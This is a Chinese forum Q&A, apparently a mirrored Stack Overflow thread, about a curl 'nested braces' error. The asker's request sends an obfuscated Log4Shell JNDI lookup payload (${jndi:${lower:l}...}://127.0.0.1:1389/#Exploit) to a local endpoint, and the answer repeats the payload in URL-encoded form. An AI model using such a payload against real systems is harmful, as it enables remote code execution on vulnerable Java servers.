JNDI的URL curl中的嵌套大括号语法错误

unftdfkk  于 2022-11-13  发布在  其他
关注(0)|答案(1)|浏览(164)

我在运行下面的代码时遇到了一个错误。你能告诉我语法上有什么错误吗?我已经试过了所有的可能性,比如把“,双引号,等等,但是没有成功。
错误: curl :(3)嵌套在URL位置62的大括号:

curl 'http://localhost:8080/rest/users/user/updateuser?cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/#Exploit}' -H 'ID:1234567' -H 'Content-Type:application/json' -H 'X-UserName:usern8' --data-raw '{"id": 1,"name": "Name","profession": "Profession"}'
neskvpey

neskvpey1#

您可能必须对查询字符串进行url编码。
我转换了它,它看起来像这样:

cmd%3D%24%7Bjndi%3A%24%7Blower%3Al%7D%24%7Blower%3Ad%7D%24%7Blower%3Aa%7D%24%7Blower%3Ap%7D%3A%2F%2F127.0.0.1%3A1389%2F%23Exploit%7D

真实的的问题可能是您认为在查询字符串中传输的内容。
您显示的内容不是有效的JSON。
但我发送了它,这是服务器收到的。

'argv' => array (0 => 'cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',),

'REQUEST_METHOD' => 'POST',

BODY={"id": 1,"name": "Name","profession": "Profession"}

$_SERVER['QUERY_STRING'] = cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/

$_POST array ()

$_GET array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)

$_REQUEST array ('cmd' => '${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/',)

这是您希望服务器接收的内容吗?
或者你认为这个${lower:d}解析成了别的东西?
看起来像PHP变量。它是从哪里来的?
当我的应用程序尝试解码JSON时,它会出现此错误。

Syntax error, malformed JSON

那很可能是由于“$”

相关问题